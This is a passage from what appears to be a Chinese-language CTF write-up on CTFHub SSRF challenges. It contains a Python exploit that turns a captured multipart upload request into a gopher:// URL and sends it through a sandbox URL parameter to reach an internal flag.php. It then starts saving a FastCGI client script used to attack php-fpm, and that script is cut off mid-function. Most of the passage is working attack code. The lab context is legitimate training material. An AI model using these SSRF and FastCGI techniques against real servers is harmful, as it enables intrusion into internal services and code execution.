class="token delimiter important">?></span></span>Upload Webshell<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>form</span> <span class="token attr-name">action</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/flag.php<span class="token punctuation">"</span></span> <span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>post<span class="token punctuation">"</span></span> <span class="token attr-name">enctype</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>multipart/form-data<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>form</span><span class="token punctuation">></span></span></code></pre><p>写个文件上传的表单</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>form</span> <span class="token attr-name">enctype</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>multipart/form-data<span class="token punctuation">"</span></span> <span class="token attr-name">action</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://127.0.0.1/flag.php<span class="token punctuation">"</span></span> <span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>post<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>NewFile<span class="token punctuation">"</span></span> <span class="token attr-name">size</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>50<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>upload<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Upload<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>form</span><span class="token punctuation">></span></span></code></pre><p>随便传个文件把包抓下来</p><p>数据包为</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token request-line"><span class="token method property">POST</span> <span class="token request-target url">/flag.php</span> <span class="token http-version property">HTTP/1.1</span></span><span class="token header"><span class="token header-name keyword">Host</span><span class="token punctuation">:</span> <span class="token header-value">127.0.0.1</span></span><span class="token header"><span class="token header-name keyword">Content-Length</span><span class="token punctuation">:</span> <span class="token header-value">182</span></span><span class="token header"><span class="token header-name keyword">Content-Type</span><span class="token punctuation">:</span> <span class="token header-value">multipart/form-data; boundary=----WebKitFormBoundaryqFOX61XFhjO2CFJN</span></span>------WebKitFormBoundaryqFOX61XFhjO2CFJN<span class="token header"><span class="token header-name keyword">Content-Disposition</span><span class="token punctuation">:</span> <span class="token header-value">form-data; name="file"; filename="1.png"</span></span><span class="token header"><span class="token header-name keyword">Content-Type</span><span class="token punctuation">:</span> <span class="token header-value">image/png</span></span>abcd------WebKitFormBoundaryqFOX61XFhjO2CFJN--</code></pre><p>还是和上一个一样，exp如下</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> urllib<span class="token punctuation">.</span>parse<span class="token keyword">import</span> requestsurl <span class="token operator">=</span> <span class="token string">"http://challenge-db30f38f11747128.sandbox.ctfhub.com:10800/?url="</span>payload <span class="token operator">=</span>\<span class="token triple-quoted-string string">"""POST /flag.php HTTP/1.1Host: 127.0.0.1Content-Length: 182Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqFOX61XFhjO2CFJN------WebKitFormBoundaryqFOX61XFhjO2CFJNContent-Disposition: form-data; name="file"; filename="1.png"Content-Type: image/pngabcd------WebKitFormBoundaryqFOX61XFhjO2CFJN--"""</span>tmp <span class="token operator">=</span> urllib<span class="token punctuation">.</span>parse<span class="token punctuation">.</span>quote<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>new <span class="token operator">=</span> tmp<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">'%0A'</span><span class="token punctuation">,</span><span class="token string">'%0D%0A'</span><span class="token punctuation">)</span>result <span class="token operator">=</span> <span class="token string">'gopher://127.0.0.1:80/'</span><span class="token operator">+</span><span class="token string">'_'</span><span class="token operator">+</span>newresult <span class="token operator">=</span> urllib<span class="token punctuation">.</span>parse<span class="token punctuation">.</span>quote<span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span>r <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">=</span>url<span class="token operator">+</span>result<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>r<span class="token punctuation">.</span>text<span class="token punctuation">)</span></code></pre><pre class="language-none"><code class="language-none">gopher%3A&#x2F;&#x2F;127.0.0.1%3A80&#x2F;_POST%2520&#x2F;flag.php%2520HTTP&#x2F;1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520182%250D%250AContent-Type%253A%2520multipart&#x2F;form-data%253B%2520boundary%253D----WebKitFormBoundaryqFOX61XFhjO2CFJN%250D%250A%250D%250A------WebKitFormBoundaryqFOX61XFhjO2CFJN%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.png%2522%250D%250AContent-Type%253A%2520image&#x2F;png%250D%250A%250D%250Aabcd%250D%250A------WebKitFormBoundaryqFOX61XFhjO2CFJN--%250D%250A</code></pre><p>请求结果如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707165044259.png" alt loading="lazy"></p><h3 id="FastCGI协议"><a href="#FastCGI协议" class="headerlink" title="FastCGI协议"></a>FastCGI协议</h3><p>题目提示<code>这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助</code></p><p>直接看P🐮的这个 <a href="https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html">https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html</a></p><p>利用方法参考 <a href="https://bbs.ichunqiu.com/thread-58455-1-1.html">https://bbs.ichunqiu.com/thread-58455-1-1.html</a></p><p>理解原理后直接利用，利用脚本地址 <a href="https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75">https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75</a></p><p>我这里放这存一个</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> socket<span class="token keyword">import</span> random<span class="token keyword">import</span> argparse<span class="token keyword">import</span> sys<span class="token keyword">from</span> io <span class="token keyword">import</span> BytesIO<span class="token comment"># Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client</span>PY2 <span class="token operator">=</span> <span class="token boolean">True</span> <span class="token keyword">if</span> sys<span class="token punctuation">.</span>version_info<span class="token punctuation">.</span>major <span class="token operator">==</span> <span class="token number">2</span> <span class="token keyword">else</span> <span class="token boolean">False</span><span class="token keyword">def</span> <span class="token function">bchr</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> PY2<span class="token punctuation">:</span>        <span class="token keyword">return</span> force_bytes<span class="token punctuation">(</span><span class="token builtin">chr</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">else</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span><span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">bord</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token builtin">isinstance</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> c    <span class="token keyword">else</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">force_bytes</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token builtin">isinstance</span><span class="token punctuation">(</span>s<span class="token punctuation">,</span> <span class="token builtin">bytes</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> s    <span class="token keyword">else</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> s<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">,</span> <span class="token string">'strict'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">force_text</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token builtin">issubclass</span><span class="token punctuation">(</span><span class="token builtin">type</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> s    <span class="token keyword">if</span> <span class="token builtin">isinstance</span><span class="token punctuation">(</span>s<span class="token punctuation">,</span> <span class="token builtin">bytes</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        s <span class="token operator">=</span> <span class="token builtin">str</span><span class="token punctuation">(</span>s<span class="token punctuation">,</span> <span class="token string">'utf-8'</span><span class="token punctuation">,</span> <span class="token string">'strict'</span><span class="token punctuation">)</span>    <span class="token keyword">else</span><span class="token punctuation">:</span>        s <span class="token operator">=</span> <span class="token builtin">str</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span>    <span class="token keyword">return</span> s<span class="token keyword">class</span> <span class="token class-name">FastCGIClient</span><span class="token punctuation">:</span>    <span class="token triple-quoted-string string">"""A Fast-CGI Client for Python"""</span>    <span class="token comment"># private</span>    __FCGI_VERSION <span class="token operator">=</span> <span class="token number">1</span>    __FCGI_ROLE_RESPONDER <span class="token operator">=</span> <span class="token number">1</span>    __FCGI_ROLE_AUTHORIZER <span class="token operator">=</span> <span class="token number">2</span>    __FCGI_ROLE_FILTER <span class="token operator">=</span> <span class="token number">3</span>    __FCGI_TYPE_BEGIN <span class="token operator">=</span> <span class="token number">1</span>    __FCGI_TYPE_ABORT <span class="token operator">=</span> <span class="token number">2</span>    __FCGI_TYPE_END <span class="token operator">=</span> <span class="token number">3</span>    __FCGI_TYPE_PARAMS <span class="token operator">=</span> <span class="token number">4</span>    __FCGI_TYPE_STDIN <span class="token operator">=</span> <span class="token number">5</span>    __FCGI_TYPE_STDOUT <span class="token operator">=</span> <span class="token number">6</span>    __FCGI_TYPE_STDERR <span class="token operator">=</span> <span class="token number">7</span>    __FCGI_TYPE_DATA <span class="token operator">=</span> <span class="token number">8</span>    __FCGI_TYPE_GETVALUES <span class="token operator">=</span> <span class="token number">9</span>    __FCGI_TYPE_GETVALUES_RESULT <span class="token operator">=</span> <span class="token number">10</span>    __FCGI_TYPE_UNKOWNTYPE <span class="token operator">=</span> <span class="token number">11</span>    __FCGI_HEADER_SIZE <span class="token operator">=</span> <span class="token number">8</span>    <span class="token comment"># request state</span>    FCGI_STATE_SEND <span class="token operator">=</span> <span class="token number">1</span>    FCGI_STATE_ERROR <span class="token operator">=</span> <span class="token number">2</span>    FCGI_STATE_SUCCESS <span class="token operator">=</span> <span class="token number">3</span>    <span class="token keyword">def</span> <span class="token function">__init__</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> host<span class="token punctuation">,</span> port<span class="token punctuation">,</span> timeout<span class="token punctuation">,</span> keepalive<span class="token punctuation">)</span><span class="token punctuation">:</span>        self<span class="token punctuation">.</span>host <span class="token operator">=</span> host        self<span class="token punctuation">.</span>port <span class="token operator">=</span> port        self<span class="token punctuation">.</span>timeout <span class="token operator">=</span> timeout        <span class="token keyword">if</span> keepalive<span class="token punctuation">:</span>            self<span class="token punctuation">.</span>keepalive <span class="token operator">=</span> <span class="token number">1</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            self<span class="token punctuation">.</span>keepalive <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>sock <span class="token operator">=</span> <span class="token boolean">None</span>        self<span class="token punctuation">.</span>requests <span class="token operator">=</span> <span class="token builtin">dict</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">__connect</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>        self<span class="token punctuation">.</span>sock <span class="token operator">=</span> socket<span class="token punctuation">.</span>socket<span class="token punctuation">(</span>socket<span class="token punctuation">.</span>AF_INET<span class="token punctuation">,</span> socket<span class="token punctuation">.</span>SOCK_STREAM<span class="token punctuation">)</span>        self<span class="token punctuation">.</span>sock<span class="token punctuation">.</span>settimeout<span class="token punctuation">(</span>self<span class="token punctuation">.</span>timeout<span class="token punctuation">)</span>        self<span class="token punctuation">.</span>sock<span class="token punctuation">.</span>setsockopt<span class="token punctuation">(</span>socket<span class="token punctuation">.</span>SOL_SOCKET<span class="token punctuation">,</span> socket<span class="token punctuation">.</span>SO_REUSEADDR<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span>        <span class="token comment"># if self.keepalive:</span>        <span class="token comment">#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)</span>        <span class="token comment"># else:</span>        <span class="token comment">#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)</span>        <span class="token keyword">try</span><span class="token punctuation">:</span>            self<span class="token punctuation">.</span>sock<span class="token punctuation">.</span>connect<span class="token punctuation">(</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>host<span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>port<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">except</span> socket<span class="token punctuation">.</span>error <span class="token keyword">as</span> msg<span class="token punctuation">:</span>            self<span class="token punctuation">.</span>sock<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>            self<span class="token punctuation">.</span>sock <span class="token operator">=</span> <span class="token boolean">None</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token builtin">repr</span><span class="token punctuation">(</span>msg<span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> <span class="token boolean">False</span>        <span class="token keyword">return</span> <span class="token boolean">True</span>    <span class="token keyword">def</span> <span class="token function">__encodeFastCGIRecord</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> fcgi_type<span class="token punctuation">,</span> content<span class="token punctuation">,</span> requestid<span class="token punctuation">)</span><span class="token punctuation">:</span>        length <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>content<span class="token punctuation">)</span>        buf <span class="token operator">=</span> bchr<span class="token punctuation">(</span>FastCGIClient<span class="token punctuation">.</span>__FCGI_VERSION<span class="token punctuation">)</span> \               <span class="token operator">+</span> bchr<span class="token punctuation">(</span>fcgi_type<span class="token punctuation">)</span> \               <span class="token operator">+</span> bchr<span class="token punctuation">(</span><span class="token punctuation">(</span>requestid <span class="token operator">>></span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> \               <span class="token operator">+</span> bchr<span class="token punctuation">(</span>requestid <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> \               <span class="token operator">+</span> bchr<span class="token punctuation">(</span><span class="token punctuation">(</span>length <span class="token operator">>></span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> \               <span class="token operator">+</span> bchr<span class="token punctuation">(</span>length <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> \               <span class="token operator">+</span> bchr<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> \               <span class="token operator">+</span> bchr<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> \               <span class="token operator">+</span> content        <span class="token keyword">return</span> buf    <span class="token keyword">def</span> <span class="token function">__encodeNameValueParams</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> name<span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">:</span>        nLen <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span>        vLen <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span>        record <span class="token operator">=</span> <span class="token string">b''</span>        <span class="token keyword">if</span> nLen <span class="token operator">&lt;</span> <span class="token number">128</span><span class="token punctuation">:</span>            record <span class="token operator">+=</span> bchr<span class="token punctuation">(</span>nLen<span class="token punctuation">)</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            record <span class="token operator">+=</span> bchr<span class="token punctuation">(</span><span class="token punctuation">(</span>nLen <span class="token operator">>></span> <span class="token number">24</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">0x80</span><span class="token punctuation">)</span> \                      <span class="token operator">+</span> bchr<span class="token punctuation">(</span><span class="token punctuation">(</span>nLen <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> \                      <span class="token operator">+</span> bchr<span class="token punctuation">(</span><span class="token punctuation">(</span>nLen <span class="token operator">>></span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> \                      <span class="token operator">+</span> bchr<span class="token punctuation">(</span>nLen <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> vLen <span class="token operator">&lt;</span> <span class="token number">128</span><span class="token punctuation">:</span>            record <span class="token operator">+=</span> bchr<span class="token punctuation">(</span>vLen<span class="token punctuation">)</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            record <span class="token operator">+=</span> bchr<span class="token punctuation">(</span><span class="token punctuation">(</span>vLen <span class="token operator">>></span> <span class="token number">24</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">0x80</span><span class="token punctuation">)</span> \                      <span class="token operator">+</span> bchr<span class="token punctuation">(</span><span class="token punctuation">(</span>vLen <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> \                      <span class="token operator">+</span> bchr<span class="token punctuation">(</span><span class="token punctuation">(</span>vLen <span class="token operator">>></span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> \                      <span class="token operator">+</span> bchr<span class="token punctuation">(</span>vLen <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> record <span class="token operator">+</span> name <span class="token operator">+</span> value    <span class="token keyword">def</span> <span class="token function">__decodeFastCGIHeader</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> stream<span class="token punctuation">)</span><span class="token punctuation">:</span>        header <span class="token operator">=</span> <span class="token builtin">dict</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        header<span class="token punctuation">[</span><span class="token string">'version'</span><span class="token punctuation">]</span> <span class="token operator">=</span> bord<span class="token punctuation">(</span>stream<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span>        header<span class="token punctuation">[</span><span class="token string">'type'</span><span class="token punctuation">]</span> <span class="token operator">=</span> bord<span class="token punctuation">(</span>stream<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>        header<span class="token punctuation">[</span><span class="token string">'requestId'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>bord<span class="token punctuation">(</span>stream<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">+</span> bord<span class="token punctuation">(</span>stream<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span>        header<span class="token punctuation">[</span><span class="token string">'contentLength'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>bord<span class="token punctuation">(</span>stream<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">+</span> bord<span class="token punctuation">(</span>stream<span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span>        header<span class="token punctuation">[</span><span class="token string">'paddingLength'</span><span class="token punctuation">]</span> <span class="token operator">=</span> bord<span class="token punctuation">(</span>stream<span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">)</span>        header<span class="token punctuation">[</span><span class="token string">'reserved'</span><span class="token punctuation">]</span> <span class="token operator">=</span> bord<span class="token punctuation">(</span>stream<span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> header    <span class="token keyword">def</span> <span class="token function">__decodeFastCGIRecord</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> <span class="token builtin">buffer</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        header <span class="token operator">=</span> <span class="token builtin">buffer</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token builtin">int</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>__FCGI_HEADER_SIZE<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> <span class="token keyword">not</span> header<span class="token punctuation">:</span>            <span class="token keyword">return</span> <span class="token boolean">False</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            record <span class="token operator">=</span> self<span class="token punctuation">.</span>__decodeFastCGIHeader<span class="token punctuation">(</span>header<span class="token punctuation">)</span>            record<span class="token punctuation">[</span><span class="token string">'content'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">b''</span>                        <span class="token keyword">if</span> <span class="token string">'contentLength'</span> <span class="token keyword">in</span> record<span class="token punctuation">.</span>keys<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>                contentLength <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>record<span class="token punctuation">[</span><span class="token string">'contentLength'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>                record<span class="token punctuation">[</span><span class="token string">'content'</span><span class="token punctuation">]</span> <span class="token operator">+=</span> <span class="token builtin">buffer</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span>contentLength<span class="token punctuation">)</span>            <span class="token keyword">if</span> <span class="token string">'paddingLength'</span> <span class="token keyword">in</span> record<span class="token punctuation">.</span>keys<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>                skiped <span class="token operator">=</span> <span class="token builtin">buffer</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token builtin">int</span><span class="token punctuation">(</span>record<span class="token punctuation">[</span><span class="token string">'paddingLength'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> record    <span class="token keyword">def</span> <span class="token function">request</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> nameValuePairs<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> post<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">if</span> <span class="token keyword">not</span> self<span class="token punctuation">.</span>__connect<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'connect failure! please check your fasctcgi-server !!'</span><span class="token punctuation">)</span>            <span class="token keyword">return</span>        requestId <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">&lt;&lt;</span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span>        self<span class="token punctuation">.</span>requests<span class="token punctuation">[</span>requestId<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">dict</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        request <span class="token operator">=</span> <span class="token string">b""</span>        beginFCGIRecordContent <span class="token operator">=</span> bchr<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> \                                 <span class="token operator">+</span> bchr<span class="token punctuation">(</span>FastCGIClient<span class="token punctuation">.</span>__FCGI_ROLE_RESPONDER<span class="token punctuation">)</span> \                                 <span class="token operator">+</span> bchr<span class="token punctuation">(</span>self<span class="token punctuation">.</span>keepalive<span class="token punctuation">)</span> \                                 <span class="token operator">+</span> bchr<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">5</span>        request <span class="token operator">+=</span> self<span class="token punctuation">.</span>__encodeFastCGIRecord<span class="token punctuation">(</span>FastCGIClient<span class="token punctuation">.</span>__FCGI_TYPE_BEGIN<span class="token punctuation">,</span>                                              beginFCGIRecordContent<span class="token punctuation">,</span> requestId<span class="token punctuation">)</span>        paramsRecord <span class="token operator">=</span> <span class="token string">b''</span>        <span class="token keyword">if</span> nameValuePairs<span class="token punctuation">:</span>            <span class="token keyword">for</span> <span class="token punctuation">(</span>name<span class="token punctuation">,</span> value<span class="token punctuation">)</span> <span class="token keyword">in</span> nameValuePairs<span class="token punctuation">.</span>items<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>                name <span class="token operator">=</span> force_bytes<span class="token punctuation">(</span>name<span class="token punctuation">)</span>                value <span class="token operator">=</span> force_bytes<span class="token punctuation">(</span>value<span class="token punctuation">)</span>                paramsRecord <span class="token operator">+=</span> self<span class="token punctuation">.</span>__encodeNameValueParams<span class="token punctuation">(</span>name<span class="token punctuation">,</span> value<span class="token punctuation">)</span>        <span class="token keyword">if</span> paramsRecord<span class="token punctuation">:</span>            request <span class="token operator">+=</span> self<span class="token punctuation">.</span>__encodeFastCGIRecord<span class="token punctuation">(</span>FastCGIClient<span class="token punctuation">.</span>__FCGI_TYPE_PARAMS<span class="token punctuation">,</span> paramsRecord<span class="token punctuation">,</span> requestId<span class="token punctuation">)</span>        request <span class="token operator">+=</span> self<span class="token punctuation">.</span>__encodeFastCGIRecord<span class="token punctuation">(</span>FastCGIClient<span class="token punctuation">.</span>__FCGI_TYPE_PARAMS<span class="token punctuation">,</span> <span class="token string">b''</span><span class="token punctuation">,</span> requestId<span class="token punctuation">)</span>        <span class="token keyword">if</span> post<span class="token punctuation">:</span>            request <span class="token operator">+=</span> self<span class="token punctuation">.</span>__encodeFastCGIRecord<span class="token punctuation">(</span>FastCGIClient<span class="token punctuation">.</span>__FCGI_TYPE_STDIN<span class="token punctuation">,</span> force_bytes<span class="token punctuation">(</span>post<span class="token punctuation">)</span><span class="token punctuation">,</span> requestId<span class="token punctuation">)</span>        request <span class="token operator">+=</span> self<span class="token punctuation">.</span>__encodeFastCGIRecord<span class="token punctuation">(</span>FastCGIClient<span class="token punctuation">.</span>__FCGI_TYPE_STDIN<span class="token punctuation">,</span> <span class="token string">b''</span><span class="token punctuation">,</span> requestId<span class="token punctuation">)</span>        self<span class="token punctuation">.</span>sock<span class="token punctuation">.</span>send<span class="token punctuation">(</span>request<span class="token punctuation">)</span>        self<span class="token punctuation">.</span>requests<span class="token punctuation">[</span>requestId<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'state'</span><span class="token punctuation">]</span> <span class="token operator">=</span> FastCGIClient<span class="token punctuation">.</span>FCGI_STATE_SEND        self<span class="token punctuation">.</span>requests<span class="token punctuation">[</span>requestId<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'response'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">b''</span>        <span class="token keyword">return</span> self<span class="token punctuation">.</span>__waitForResponse<span class="token punctuation">(</span>requestId<span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">__waitForResponse</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> requestId<span class="token punctuation">)</span><span class="token 